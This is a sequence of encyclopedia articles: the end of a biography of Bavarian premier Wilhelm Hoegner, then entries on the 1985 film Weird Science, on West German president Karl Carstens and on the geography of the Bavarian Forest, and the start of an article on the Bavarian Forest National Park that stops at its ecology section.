Hoegner died, aged 92, almost blind but mentally still in full capacity, on 5 March 1980 in Munich.
"The Guilt of the Communists"
Hoegner's book Die verratene Republik (The Betrayed Republic), published in Munich in 1979, contains a remarkable chapter with the title "The Guilt of the Communists". Hoegner blames the Communist Party of Germany (KPD) as having played a decisive role in Hitler's assumption of power. The declared main enemy of the Communists was not Hitler or the conservative parties in Germany, but the SPD, the social democrats, whom the Communists called the "social fascists". Hoegner claims that the Communists' intention was to bring Hitler to power whereupon a Communist revolution in Germany would take place and a Communist dictatorship would be established. Hoegner mentions astonishing claims in this chapter; for example, that 500,000 communists had voted for Hitler in the election for president of the German Reich in 1932.
Honours
Grand Cross of the Order of Merit of the Federal Republic of Germany (1953)
Knight Grand Cross of the Order of Merit of the Italian Republic (1956)
Grand Decoration of Honour in Silver with Sash for Services to the Republic of Austria (1957)
Honorary doctorate at the University of Munich
Works
Die verratene Republik (in German), by Wilhelm Hoegner, Munich, 1979.
Der Volksbetrug der Nationalsozialisten (in German), by Wilhelm Hoegner
Der Schwierige Außenseiter: Erinnerungen eines Abgeordneten, Emigranten und Ministerpräsidenten (in German), by Wilhelm Hoegner, Munich, publisher: Isar Verlag, 1959
See also
List of Premiers of Bavaria
Walter Kolbenhoff
References
Sources
Universitätsbibliothek Regensburg - Boisls bayrische Biography - Wilhelm Hoegner pp. 356–357
Institut für Zeitgeschichte - Wilhelm Hoegner
Wilhelm Hoeger biography Official Bavarian government website
External links
1887 births
1980 deaths
Ministers-President of Bavaria
Ministers of the Bavaria State Government
Members of the Landtag of Bavaria
Social Democratic Party of Germany politicians
Politicians from Munich
People from the Kingdom of Bavaria
Grand Crosses 1st class of the Order of Merit of the Federal Republic of Germany
Knights Grand Cross of the Order of Merit of the Italian Republic
Recipients of the Grand Decoration with Sash for Services to the Republic of Austria
Exiles from Nazi Germany
Members of the Reichstag of the Weimar Republic
German anti-communists | [
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241171 | https://en.wikipedia.org/wiki/Weird%20Science%20%28film%29 | Weird Science (film) | Weird Science is a 1985 American science fantasy comedy film written and directed by John Hughes and starring Anthony Michael Hall, Ilan Mitchell-Smith, and Kelly LeBrock. The title is taken from a pre-Comics Code Authority 1950s EC Comics magazine of the same name, the rights to which were acquired by the film's producer Joel Silver. The title song was written and performed by American new wave band Oingo Boingo.
Plot
Nerdy social outcasts Gary Wallace and Wyatt Donnelly are humiliated by senior jocks Ian and Max for swooning over their cheerleader girlfriends Deb and Hilly. Rejected and disappointed at their direction in life and wanting more, Gary convinces the uptight Wyatt that they need a boost of popularity in order to get their crushes away from Ian and Max. Alone for the weekend with Wyatt's parents gone, Gary is inspired by the 1931 classic Frankenstein to create a virtual woman using Wyatt's computer, infusing her with everything they can conceive to make the perfect dream woman.
After hooking electrodes to a doll and hacking into a government computer system for more power, a power surge creates Lisa, a beautiful and intelligent woman with unlimited magical powers. Promptly, she conjures up a Cadillac to take the boys to a dive bar in Chicago, using her powers to manipulate people into believing Gary and Wyatt are of age.
They return home drunk and happen upon Chet, Wyatt's mean older brother, who extorts money from him to buy his silence. Lisa agrees to keep herself hidden from him, but she realizes that Gary and Wyatt, while extremely sweet, are very uptight and need to unwind. After another humiliating experience at the mall when Max and Ian pour an Icee on Gary and Wyatt in front of a crowd, Lisa tells the bullies about a party at Wyatt's house, of which Wyatt had no prior knowledge, before driving off in a Porsche 928 she conjured for Gary.
Despite Wyatt's protests, Lisa insists that the party happen anyway in order to loosen the boys up. She goes to meet Gary's parents, Al and Lucy, who, to Gary's embarrassment, are shocked and dismayed at the things she says and her frank manner. After she pulls a gun on them (later revealed to Gary to be a water pistol), she alters their memories so that Lucy forgets about the conflict; however, Al forgets that they had a son altogether.
At the Donnelly house, the party has spun out of control while Gary and Wyatt take refuge in the bathroom, where they resolve to have a good time, despite having embarrassed themselves in front of Deb and Hilly. In Wyatt's bedroom, Ian and Max convince Gary and Wyatt to recreate the events that created Lisa, but it fails. Lisa chides them over their misuse of the magic to impress their tormentors. She also explains that they forgot to connect the doll; thus, with the bare but live electrodes resting on a magazine page showing a Pershing II medium-range ballistic missile, a real missile appears, crashing through the house.
Meanwhile, Wyatt's grandparents arrive and confront Lisa about the party, but she freezes them and hides them in a cupboard. Lisa realizes that the boys need a challenge to boost their confidence and has a gang of mutant bikers invade the party, causing chaos and sending the boys running.
When the bikers take Deb and Hilly hostage, Wyatt and Gary decide to confront the bikers, causing Deb and Hilly to fall in love with them. The bikers leave, and the next morning, Chet discovers the house in disarray, including a localized snowstorm in his room, and the missile. Lisa tells the boys to escort the girls home while she talks to Chet alone. Gary and Wyatt proclaim their feelings, and both girls reciprocate their feelings to the boys.
Returning to the house, the boys discover Chet, now transformed into a talking mutant blob. He apologizes to Wyatt for his behavior. Upstairs, Lisa assures them that Chet will soon return to normal, and, realizing that her purpose is complete, hugs both Gary and Wyatt before de-materializing. As she leaves, the house is magically cleaned and everything transformed back to normal, including Chet. Wyatt's parents return home, completely unaware that anything odd has happened.
Later at Gary and Wyatt's high school, Lisa turns up as the new gym teacher, thus continuing her mission to look out for the two boys.
Cast
Anthony Michael Hall as Gary Wallace
Ilan Mitchell-Smith as Wyatt Donnelly
Kelly LeBrock as Lisa
Bill Paxton as Chet Donnelly
Robert Downey Jr. as Ian
Robert Rusler as Max
Suzanne Snyder as Deb
Judie Aronson as Hilly
Vernon Wells as Lord General
Jennifer Balgobin as Biker Girl
Jeff Jensen as Metal Face
Britt Leach and Barbara Lang as Al and Lucy Wallace, Gary's parents
Ivor Barry and Ann Coyle as Henry and Carmen Donnelly, Wyatt and Chet's grandparents
Doug MacHugh and Pamela Gordon as Mr. and Mrs. Donnelly, Wyatt and Chet's parents
Michael Berryman as Mutant Biker
John Kapelos as Dino
D'Mitch Davis as The Bartender
Chino 'Fats' Williams as Bar Patron
Jill Whitlow as Susan, the perfume salesgirl
Wallace Langham (as Wally Ward) as Art
Renee Props as Member of The Weenies
Reception
Roger Ebert called LeBrock "wonderful" in her role and thought that as a result the film was "funnier, and a little deeper, than the predictable story it might have been." Janet Maslin of The New York Times wrote that "Mr. Hughes shows that he can share the kind of dumb joke that only a 14-year old boy could love. There are enough moviegoing 14-year old boys to make a hit out of Weird Science, of course, but for the rest of the population, its pandering is strenuous enough to be cause for alarm."
Variety wrote, "Weird Science is not nearly as weird as it should have been and, in fact, is a rather conventional kids-in-heat film, and a chaste one at that. Director-writer John Hughes squanders the opportunity to comment on the power struggle between the sexes for a few easy laughs." Gene Siskel of the Chicago Tribune gave the film one-and-a-half stars out of four and wrote, "What a disappointment Weird Science is! A wonderful writer-director has taken a cute idea about two teenage Dr. Frankensteins creating a perfect woman by computer and turned it into a vulgar, mindless, special-effects-cluttered wasteland."
Sheila Benson of the Los Angeles Times described LeBrock as "triumphant" and the "film's greatest asset", but thought the film's appeal was limited to audiences of 15-year-old boys and "maybe the 16-year olds, if they aren't yet too fussy." Rita Kempley of The Washington Post wrote, "Unbelievably, John Hughes, the maker of Sixteen Candles and The Breakfast Club, writes and directs this snickering, sordid, special effects fantasy, with Kelly LeBrock in a demeaning role as love slave to a pair of 15-year olds."
On the review aggregator Rotten Tomatoes, the film has an approval rating of 59% based on 37 reviews, and an average rating of 5.7/10. The consensus states: "Hardly in the same league as John Hughes' other teen movies, the resolutely goofy Weird Science nonetheless gets some laughs via its ridiculous premise and enjoyable performances." The film is now regarded as a cult classic. The film grossed $23,834,048 in North America and $15.1 million in other territories, totaling $38,934,048 worldwide.
Soundtrack
The film's theme song, "Weird Science," was performed by Oingo Boingo and written by the band's frontman Danny Elfman. The soundtrack album was released on MCA Records:
"Weird Science" — Oingo Boingo
"Private Joy" — Cheyne
"The Circle" — Max Carl
"Turn It On" — Kim Wilde
"Deep in the Jungle" — Wall of Voodoo
"Do Not Disturb (Knock Knock)" — The Broken Homes
"Forever" — Taxxi
"Why Don't Pretty Girls Look at Me" — The Wild Men Of Wonga
"Method to My Madness" — The Lords of the New Church
"Eighties" — Killing Joke
"Weird Romance" — Ira and the Geeks
Legacy
Television series
A television series based on the film ran for 88 episodes, from 1994 to 1998. Following the same basic plot as the film, the series starred Vanessa Angel as Lisa, Michael Manasseri as Wyatt, John Mallory Asher as Gary, and Lee Tergesen as Chet.
Remake and sequel
, Universal Studios was planning a Weird Science remake with original producer Joel Silver returning, and Michael Bacall writing the film. The film was set to attempt to distinguish itself from the original Weird Science by being an edgier comedy, in line with 21 Jump Street and The Hangover, which were R-rated; the studio stated the rating for this Weird Science remake was not certain at that stage of the movie's development. However, as of mid-2019, nothing of the remake had materialized. In 2017, Ilan Mitchell-Smith talked about a sequel to Weird Science starring Channing Tatum.
References
External links
(DVD)
1985 films
1985 comedy films
1980s buddy comedy films
1980s coming-of-age comedy films
1980s fantasy-comedy films
1980s science fiction comedy films
1980s sex comedy films
1980s teen comedy films
1980s teen fantasy films
American buddy comedy films
American coming-of-age comedy films
American fantasy-comedy films
American films
American science fiction comedy films
American sex comedy films
American teen comedy films
1980s English-language films
Films about artificial intelligence
Films about computing
Films adapted into television shows
Films based on American comics
Films directed by John Hughes (filmmaker)
Films featuring puppetry
Films produced by Joel Silver
Films scored by Ira Newborn
Films set in Illinois
Films shot in Chicago
Films with screenplays by John Hughes (filmmaker)
Nerd culture
Silver Pictures films
Teen buddy films
Teen sex comedy films
Teen science fiction films
Universal Pictures films
Comedy franchises | [
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241173 | https://en.wikipedia.org/wiki/Karl%20Carstens | Karl Carstens | Karl Carstens (, 14 December 1914 – 30 May 1992) was a German politician. He served as the president of West Germany from 1979 to 1984.
Early life and education
Carstens was born in the City of Bremen, the son of a commercial school teacher, who had been killed at the Western Front of World War I shortly before his birth. He studied law and political science at the universities of Frankfurt, Dijon, Munich, Königsberg, and Hamburg from 1933 to 1936, gaining a doctorate in 1938 and taking the Second Staatsexamen degree in 1939. In 1949 he also received a Master of Laws (LL.M.) degree from Yale Law School.
World War II
From 1939 to 1945, during the Second World War, Carstens was a member of an anti-aircraft artillery (Flak) unit in the Luftwaffe, reaching the rank of Leutnant (Second Lieutenant) by the war's end. In 1940 he joined the Nazi Party; reportedly, he had applied for admission in 1937 to avoid detrimental treatment when he worked as a law clerk. He had, however, joined the Nazi SA paramilitary organisation already in 1934.
Post-war years
In 1944 Carstens married the medical student Veronica Prior in Berlin. After the war he became a lawyer in his hometown Bremen, and from 1949 acted as a councillor of the city's Senate. From 1950 he also worked as lecturer at the University of Cologne, where he habilitated two years later. In 1954 he joined the diplomatic service of the German Foreign Office, serving as West German representative at the Council of Europe in Strasbourg. In 1955 he joined the Christian Democratic Union (CDU) under Chancellor Konrad Adenauer.
In July 1960 Carstens reached the position of secretary of state at the Foreign Office and in the same year was also appointed as professor for public and international law at University of Cologne. During the grand coalition government of 1966-1969 under Chancellor Kurt Georg Kiesinger, he first served as secretary of state in the Ministry of Defence, and after 1968 as head of the German Chancellery.
In 1972 Carstens was first elected into the Bundestag, of which he was a member until 1979. From May 1973 until October 1976 he was chairman of the CDU/CSU parliamentary group, succeeding Rainer Barzel. During that time he was an outspoken critic of left-wing tendencies in the German student movement and particular accused the governing Social Democratic Party of Germany (SPD) of being too soft on left-wing extremists. He also famously denounced the author and Nobel laureate Heinrich Böll as a supporter of left-wing terrorism (specifically, the Baader-Meinhof Gang) for his 1974 novel The Lost Honour of Katharina Blum.
After the 1976 federal elections, which made the CDU/CSU the largest group in parliament, Carstens was elected president of the Bundestag on 14 December 1976. The CDU/CSU had also reached a majority in the Federal Convention electing the President of Germany, and in 1979 the party nominated Carstens, though in contestation due to his Nazi past, as candidate, whereafter incumbent President Walter Scheel (FDP) chose to renounce a second term.
President of West Germany
On 23 May 1979, Carstens was elected as the fifth President of the Federal Republic of Germany, prevailing against the SPD candidate Annemarie Renger in the first ballot. During his term of office, Carstens was well known for hiking Germany in order to decrease the gulf between politics and the people.
In December 1982, the new Chancellor Helmut Kohl (CDU), recently elected in a successful motion of no confidence against Helmut Schmidt (SPD) deliberately lost a vote of confidence in the Bundestag, in order to obtain a clearer majority in new general elections. Though already former Chancellor Willy Brandt had similarly proceeded in 1972, this action gave rise to a discussion whether such a step constitutes a "manipulation of the Constitution". On 7 January 1983, President Carstens nonetheless dissolved the Bundestag and called for new elections. In February 1983 his decision was approved by the Federal Constitutional Court so that 1983 general elections could take place on 6 March.
In 1984 Carstens decided not to seek a second term on account of his age and left office on 30 June 1984. He was succeeded by Richard von Weizsäcker.
Carstens was a member of the Evangelical Church in Germany.
Literature
Michael F. Feldkamp (ed.), Der Bundestagspräsident. Amt - Funktion - Person. 16. Wahlperiode, München 2007,
References
External links
Interview with Karl Carstens at Historical Archives of the EU in Florence
1914 births
1992 deaths
20th-century presidents of Germany
Politicians from Bremen
Presidents of Germany
Luftwaffe personnel of World War II
German Lutherans
Christian Democratic Union of Germany politicians
Presidents of the Bundestag
Members of the Bundestag for Schleswig-Holstein
Members of the Bundestag 1976–1980
Members of the Bundestag 1972–1976
Members of the Bundestag for the Christian Democratic Union of Germany
Yale Law School alumni
German scholars of constitutional law
Recipients of the Grand Star of the Decoration for Services to the Republic of Austria
Heads of the German Chancellery
Grand Crosses Special Class of the Order of Merit of the Federal Republic of Germany
Grand Crosses of the Order of Christ (Portugal)
Grand Collars of the Order of Saint James of the Sword
Grand Croix of the Légion d'honneur
20th-century Lutherans | [
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241177 | https://en.wikipedia.org/wiki/Bavarian%20Forest | Bavarian Forest | The Bavarian Forest (German: or Bayerwald; ) is a wooded, low-mountain region in Bavaria, Germany that is about 100 kilometres long. It runs along the Czech border and is continued on the Czech side by the Bohemian Forest (Czech: Šumava). Most of the Bavarian Forest lies within the province of Lower Bavaria, but the northern part lies within Upper Palatinate. In the south it reaches the border with Upper Austria.
Geologically and geomorphologically, the Bavarian Forest is part of the Bohemian Forest - the highest of the truncated highlands of the Bohemian Massif. The area along the Czech border has been designated as the Bavarian Forest National Park (240 km2), established in 1970 as the first national park in Germany. Another 3,008 km2 has been designated as the Bavarian Forest Nature Park, established 1967, and another 1,738 km2 as the Upper Bavarian Forest Nature Park, established in 1965. The Bavarian Forest is a remnant of the Hercynian Forest that stretched across southern Germania in Roman times. It is the largest protected forest area in central Europe.
The highest mountain in the region is the Großer Arber ("Great Arber", 1,456 m). The main river is the Regen, which is formed by the conjunction of White Regen and Black Regen and flows out of the mountains towards the city of Regensburg.
Overview
Together with the adjacent Upper Palatine Forest on the far side of the Cham-Furth Depression, and the Neuburg Forest south of Passau, the Bavarian Forest forms the largest contiguous area of woodland in Bavaria and, together with the Bohemian Forest and the Sauwald (its southeastern continuation towards Upper Austria), it forms one of the largest contiguous forests in Europe.
The Bavarian Forest is drained mainly by the Regen and Ilz rivers into the Danube, a small catchment near the Czech Republic drains into the Elbe via the Moldau.
The highest mountains of the Bavarian Forest are the Great Arber at 1,456 m and the Great Rachel (1,453 m). In the eastern part of the mountains, Germany's first national park, the Bavarian Forest National Park, was established in 1970. It was expanded in 1997 and, together with the Bohemian Forest National Park (Sumava National Park) in the Czech Republic, is one of the largest protected areas in Europe.
In older cartographic and lexical works, the term "Bavarian Forest" refers only to the mountainous region of the Danube Hills, also known as the Anterior Bavarian Forest (Vorderer Bayerischer Wald) or Vorderer Forest (Vorderer Wald), between the Danube and the Regen, which has its highest elevation in the Einödriegel. The "High Forest" or Hinterer Forest (Hinterer Bayerischer Wald) between the Regen and the Bohemian border, including the mountains of the Arber, Rachel and Lusen, used to be part of the Bohemian Forest. The linguistic usage of the German-Bavarian authorities, the impact of tourism, and the presence formerly of the Iron Curtain contributed to the fact that the term "Bavarian Forest" was increasingly extended to mean the entire low mountain region on the German side of the border between Bavaria and Bohemia. As a result of political developments after 1989, most recently the accession of the Czech Republic to the Schengen area, however, there is a discernible trend to see the low mountain range on the German-Czech border as a unit, especially in terms of tourism.
Tourism is important to the Bavarian Forest. Sharing the natural environment are walkers, the forestry industry and several ski resorts. Furthermore, the Bavarian Forest is known for its glassblowing in the area of Zwiesel and is also known in the field of geoscience as a result of the fundamental station of Wettzell at Bad Kötzting.
Geomorphology
The heart of the Bavarian Forest (in its broader sense) is divided into the Rear or High Bavarian Forest (Hinterer Bayerischer Wald) in the centre of the Bohemian Forest, the Regen valley and the Anterior Bavarian Forest (Vorderer Bayerischer Wald). In addition, there are the foothills of the two main ridges to the southeast and those of the Anterior Bavarian Forest to the northwest. Almost all of the crest-like mountain ridges run from northwest to southeast; apart from that the most important local landscapes are generally characterised by their natural regional and geomorphological nature:
High Bavarian Forest and Regen valley
The centre of the Bohemian Forest lies between Zwiesel in the west and Vimperk in the east. It is a low-relief plateau, which rises almost everywhere to above 1,000 m. Northwest, towards the Großer Falkenstein (1,315 m), the relief energy rises; on the far side of the Great Regen valley, this line continues, crest- or even arête-like into the Kunisch Mountains with the Seewand/Zwercheck. (up to 1,343 m) and Osser (up to 1,293 m), which are located directly on the German-Czech border. The lower-lying Fahrenberg (893 m) finally leads to the Hoher Bogen (up to 1,079 m) that descends into the Cham-Furth Depression.
However, the highest peaks of the low mountain range are found on a second ridgeline, southwest of the main ridge, and which also runs from northwest to southeast. The Arber (up to 1,456 m) is linked to the Seewand to the north by a mountain ridge; to the northwest the ridgeline crosses the Schwarzeck (1,236 m) and runs up to the Kaitersberg (1,133 m); the upper valley of the White Regen, the so-called Lamer Winkel, separates this ridge from that of the Kunisch Mountains. To the southeast of the Arber, this ridge is initially interrupted by the Zwiesel Basin, in which nestles the town of Zwiesel, but continues on the far side of the basin, with the Rachel (up to 1,453 m), the Lusen (1,373 m) and the Dreisesselberg (1,333 m), the other highest mountains of the Bavarian Forest and in the whole of the Bohemian Forest too. The crest continues beyond the borders of Bavaria, along the border between the Czech Republic and Austria, crossing the mountains of the Plöckenstein (1,379 m) and Hochficht (1,338 m).
The Zeller Valley (Zellertal), which stretches from Bad Kötzting via Bodenmais and northeast of Langdorf to Bettmannsäge and continues in relief terms as far as Spiegelau, separates a third, slightly lower ridgeline, which bounds the High Bavarian Forest to the southwest. Immediately to the southwest of this valley, the ridgeline runs from the Wurzer Spitz (817 m) via the Weigelsberg (898 m) and the Wolfgangriedel (876 m) to the Kronberg (984 m) and, behind the valley of the Black Regen, over the Eschenberg (1,043 m) to the Kreuzberg (788 m) at Oberkreuzberg.
To the southwest of this third ridge are the rolling hills or Hügelland of the Regen Depression borders. Many of the most important settlements of the inner Bavarian Forest such as Viechtach, Teisnach, Regen, Rinchnach and Kirchdorf im Wald are located here along the course of the Black Regen. The quartz lode known as the Pfahl runs roughly through the centre of the depression, following the main Hercynian direction.
Anterior Bavarian Forest or Danube Hills
To the south-west of the Regen depression is the Anterior Bavarian Forest (also called the Danube Hills), which is up to 1,121 m high. Its crest also runs roughly south-eastwards, but is clearly divided into individual ridges, each of which runs in a different direction.
In the far northwest are the Elisabethszell Mountains near the village of Elisabethszell, the line of which runs away to the southeast. At the Hadriwa they reach a height of 922 m. Immediately to the east are the Hirschenstein Mountains which are similarly oriented. Beginning at the Zeller Höhe (850 m), the northernmost mountain of the Anterior Bavarian Forest overall, this range climbs to 1,092 m) at the Hirschenstein. Southeast of the Hirschenstein lie the Vogelsangwald woods and the Vogelsang (1,022 m), which comprises only one ridge; it runs from north to south. On the northern extension of this ridge in the Regen valley lies the Hornbergwald forest, which reaches 844 m at the Abendberg and thus clearly towers above the floor of the basin.
Immediately east of the Vogelsang is the Grafling Saddle (Graflinger Paßsenke), which follows the valleys of the Kollbach and Teisnach rivers from Gotteszell in the north to Grafling in the south. It is the most prominent gap in the Anterior Bavarian Forest and is crossed by the Bundesstraße 11 which climbs up to a height of 583.7 m. Immediately to the east of the pass are the Riegel Mountains (Riegelbergen) with the Einödriegel (1,121 m) to the north and the Breitenauriegel (1,116 m) to the south of the highest point of the Anterior Bavarian Forest. South of it and separated by the state road, St 2135, is a chain of summits, the Hausstein Mountains (Haussteinberge) and Leopoldswald, running eastwards. The Hausstein reaches a height of 917 m, the Fürberg in the far east climbing to 880 m.
The most southerly mountain range, the Sonnenwald, is also a chain of individual peaks running from west to east; it is only connected to the Leopoldswald southwest of the Fürberg by a narrow ridge. In its western half, the Brotjacklriegel reaches 1,011 m, in the east the Aschenstein climbs to a height of 944 m. Even the mountains at the western and eastern ends of the mountain chain rise clearly above the 800 m line. To the south of the Brotjacklriegel, the isolated Stierberg (716 m), southwest of Zenting, bounds the Lallinger Winkel (see below) markedly in the east. It is usually considered part of the Passau Vorwald (see below).
Falkensteiner Vorwald
The westernmost part of the Bavarian Forest is the Falkensteiner Vorwald, which adjoins the Anterior Bavarian Forest. It has an unspectacular, humpy relief. Of the few mountains exceeding 700 m in height, the Gallner (709 m) is the most spectacular. It is located immediately west of the Elisabethszell mountains and is still marked by the relief of the Anterior Bavarian Forest. Even higher but clearly less prominent are an unnamed hill northwest of Zinzenzell at 720 m and a hill southeast of Wiesenfelden that reaches 740 m. In the south near the Danube, in the Waxenberger Forst, the Kobelberg reaches a height of 703 m.
Between Roding and Wiesent, the Falkensteiner Vorwald is divided centrally by a slight depression which follows the south-southwesterly course of the Regen near Roding. In the north it is used by Perlbach and in the south by the Wiesent. To the west of this depression, the Hadriwa is the highest point, reaching 677 m. All the mountains mentioned so far, except the Gallner, are situated around the market municipality of Falkenstein which gives its name to the forest-covered mountains.
The western part of the Vorwald transition in the south and on this side of the Regen into the Jurassic rocks of the Franconian Jura; Regenstauf being located at the boundary between the rock formations. Below Nittenau, the Regen breaks through the Vorwald impressively in a 90° bend and various smaller loops. The main summit in this high-relief part of the landscape, is the Jugendberg (611 m) immediately southwest of Nittenau, but more spectacular are the slopes of the 664 m high Gailenberg above the bend in the Regen. On the right-hand, western side of the Regen the Schwarzberg reaches at height of 538 m immediately east of Maxhütte-Haidhof.
In the north of the western part of the Falkensteiner Vorwald there is a second, somewhat less prominent Regen water gap : the Reichenbach Regen valley (Reichenbach Regental) which begins at the bend in the Regen below Roding, runs through Walderbach and ends directly below Reichenbach. By contrast, the wider Regen valley section between the two water gaps from Treidling to the town of Nittenau, as well as the Roding Regen valley, belong to the adjoining Upper Palatine Hills, while the valley section by Cham is part of the Cham-Furth Depression.
Southeastern Bavarian Forest
To the southeast and adjacent to the Regen Depression and Anterior Bavarian Forest is the Passauer Vorwald and, beyond it, the Abteiland ("Abbey Land"), which on average is only a little hillier than the Regen valley. In the north of the region are the towns of Grafenau and Freyung, to the south is the Neuburg Forest, south of the Danube between Vilshofen and Passau. In the east, roughly from Waldkirchen, the Abbey Country transitions into the Wegscheid Plateau, which flows seamlessly into the Mühlviertel region of Lower Austria. This reaches a height of 948 m in the Frauenwald. To the west the Passauer Vorwald, south of the High Bavarian Forest and opposite its northern and northeastern perimeter mountains, descends into the Lallinger Winkel (Deggendorfer Vorwald) around 400 metres lower.
Geological structure
The Bavarian Forest is continued, initially northwest, then northeast, by the Upper Palatine Forest, Fichtel Mountains, Ore Mountains and Sudetes. Geologically, as the southwestern edge of the Bohemian Massif, it is indistinguishable from the Bohemian Forest on the other side of the Czech border and from the Sauwald on Austrian soil. Together with the Upper Palatinate Forest it forms the main unit group known as the Upper Palatine-Bavarian Forest.
For the sake of simplicity, a distinction is not made between the Bohemian Forest (originally the Inner Bavarian Forest) and the Bavarian Forest. Instead, the common local name of "Bavarian Forest" is used for the entire area of the low mountain range on the German side, as the term "Bohemian Forest" has become synonymous with the areas in the Czech Republic. A distinction is only made between the Anterior Bavarian Forest and the High Bavarian Forest, with the lineament of the Bavarian Pfahl being regarded as the boundary line between them. In the north-south direction, a distinction is made between the Upper and Lower Forest.
The Bavarian Forest is the rump of a Palaeozoic mountain chain, whose bedrock is classified as Late Proterozoic to Silurian. After several phases of deformation and metamorphosis the mostly sedimentary, but also plutonic and volcanic, source rocks were metamorphosed over millions of years into the present-day gneisses. These gneisses were intruded by mighty granite rock especially in the Carboniferous and Early Permian. The Kunisch Mountains in the north are formed of schist, whilst the gabbro-amphibolite massif around Eschlkam and Neukirchen beim Heiligen Blut with the Hoher Bogen form the southernmost foothills.
An important line that divides the Bavarian Forest into two parts is the approximately 150-kilometre-long fault line of the Bavarian Pfahl. Originally created as a large-scale fault during the UpperDevonian to Upper Carboniferous, it was reactivated by fracture tectonics in the outgoing Palaeozoic and early Mesozoic to form a herringbone crack system (Fiederspaltensystem), which was filled with quartz by the penetration of hydrothermal solutions. Due to the strength of the rock, this quartz wall protrudes up to 30 metres above the surrounding area for long distances. North of the Pfahl is found mainly gneiss, south of it granite and migmatites tend to predominate.
Between Regensburg and Passau, there is a marked difference in height between the forested mountains to the northeast and the Danube plain ("Gäuboden") to the southwest. This dividing line between the Tertiary Hill Country and the Bavarian Forest is marked by the Danube Edge Fault (Donaurandbruch), a geological disruption between the sunken crystalline basement, lying beneath the Tertiary and Quaternary deposits of the molasse basin, and the still visible part northwest of this line, which belongs to the Bavarian Forest.
Quite striking too, is the difference in height between the Danube Plain, 300 to 350 m, and the highest peaks of the Anterior Forest, such as the Einödriegel at 1,121 m}, a difference of 800 metres in height over only a few kilometres of horizontal distance. Due to the uplift of the Bavarian Forest, which also affected the Neuburg Forest and the Sauwald, there was an antecedent incision of the rivers Inn and Danube into this area of the crystalline basement which led to the formation of a narrow valley zone from Pleinting down the Danube into Austria and south of Passau, where the Inn has formed a deeply incised riverbed.
Ice-Age landforms
Whilst the Anterior Bavarian Forest only exceeds 1,000 m in a few places (for example, the Brotjacklriegel 1,016 m, Einödriegel 1,121 m, Breitenauriegel 1,114 m, Vogelsang 1,022 m, Hirschenstein 1,092 m and Pröller 1,048 m), most of the summit regions in the High Bavarian Forest are over 1300 up to 1,400 m (Plöckenstein 1,378 m, Dreisesselberg 1,333 m, Lusen 1,371 m, Großer Rachel 1,453 m, Kleiner Rachel 1,399 m, Kaitersberg 1,133 m, Großer Falkenstein 1,315 m, Großer Osser 1,293 m, Zwercheck 1,333 m, Großer Arber 1,456 m).
In particular, those regions of the High Bavarian Forest were covered by snow and ice fields during the Ice Age that also left their traces. Here, on the vast plateaux there were rather extensive firn fields rather than long glacial snouts. The thickness of the glacier ice at 1,050 m was about 125 metres. Where the glaciers made their way into the valley, one can still find glacial landforms such as cirques, caroids (Karoide) and cirque lakes (Großer Arbersee, Kleiner Arbersee, Rachelsee) as well as moraine banks.
The toe of the glacier, for example near the Grosser Arbersee, was located at a height of 850 metres, the snout of the northern glacier down to the small Arbersee at a height of about 830 metres. Accordingly, there was a considerable difference in height of more than 600 metres from the summit regions to the terminal moraines. Other glacial tongues flowed down from the Grosser Rachel. Here too, there are cirques and caroids, which suggest ice-age glaciation.
Places of interest
Amongst the places of interest in the Bavarian Forest are:
Mountains
The following is a list of the mountains in the Bavarian Forest, sorted alphabetically with heights given in metres (m) above sea level (NN):
See also
Bavarian Forest Club
References
External links
Bavarian Forest - Official Website of the Region
Forests and woodlands of Bavaria
Mountain ranges of Bavaria | [
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241180 | https://en.wikipedia.org/wiki/Bavarian%20Forest%20National%20Park | Bavarian Forest National Park | The Bavarian Forest National Park () is a national park in the Eastern Bavarian Forest immediately on Germany's border with the Czech Republic. It was founded on 7 October 1970 as the first national park in Germany. Since its expansion on 1 August 1997 it has covered an area of 24,250 hectares. Together with the neighbouring Czech Bohemian Forest the Bavarian Forest forms the largest contiguous area of forest in Central Europe.
Description
Especially protected are the Norway spruce–dominated highland forests, mixed mountain forests of European silver fir, European beech and spruce trees and water meadow spruce woods in the valleys. Although a few remnants of ancient forest remain, the National Park area is still heavily influenced by the former forestry industry. Since nature is now left to take its course again, there is no human intervention when there are catastrophic events such as large scale bark beetle infestation. This resulted in the death of a portion of the high elevation forests in the 1990s and triggered controversial discussions amongst the residents of the National Park, which highlighted differing attitudes to the wilderness. As the result of a compromise, bark beetle is now fought in the buffer area.
The highest peaks in the National Park are the Großer Falkenstein (), the Lusen () and the Großer Rachel (). In addition to the forests, there are also ecologically valuable raised bogs with bog lakes such as the Latschensee and former high meadows, the so-called Schachten, which spread even further on the Czech side of the border in the Bohemian Forest.
With over 700,000 visitors per year, the National Park is an important economic factor in the economically underdeveloped region of the Bavarian Forest.
Geography
The National Park runs along the main ridge of the Bavarian Forest from the Großer Falkenstein (1,305 m) in the northwest past the Großer Rachel (1,453 m) to the Lusen (1,373 m) in the southeast.
According to the classification of the major natural regions of Germany it is part of the Rear Bavarian Forest (Hinterer Bayerischer Wald) in the Upper Palatine-Bavarian Forest.
On the other side of the border in the Czech Republic, the Bavarian Forest National Park is bounded by the Šumava National Park which is 68,064 hectares in area.
The national park is located in the eastern part of Bavaria in the counties of Regen and Freyung-Grafenau along the border with the Czech Republic and covers an area of 24,250 hectares of forest covering the low mountain range of the Bavarian Forest. It borders on the municipalities of (from north to south): Bayerisch Eisenstein, Zwiesel, Lindberg, Frauenau, Spiegelau, Sankt Oswald-Riedlhütte, Neuschönau, Hohenau and Mauth. Parts of the National Park are located on the territory of the respective communities and parts also lie in unparished areas.
There are many enclaves in the national park, especially around the edges:
Zwieslerwaldhaus at the foot of the Großer Falkenstein belongs to the municipality Lindberg.
Schleicher and Kreuzstraßl belong to Lindberg.
Neuhütte and Jägerfleck in Spiegelau
Guglöd, belongs to St. Oswald-Riedlhütte
Waldhäuser on the Lusen, is part of Neuschönau, the largest enclave in the national park
Altschönau, is part of Neuschönau.
Sagwasser-Säge and Weidhütte form a joint functional enclave belonging to Hohenau and which is joined to the rest of the country, but can only be accessed on a road passing through the national park.
Glashütte is part of Hohenau.
In addition, there are several other enclaves that comprise just one or a few small plots. These numerous enclaves, especially in the Altgebiet make the border very long there, and the buffer zone, where bark beetle control is allowed, extends far into the interior of the park (see below for more details).
Ecology
Mammals
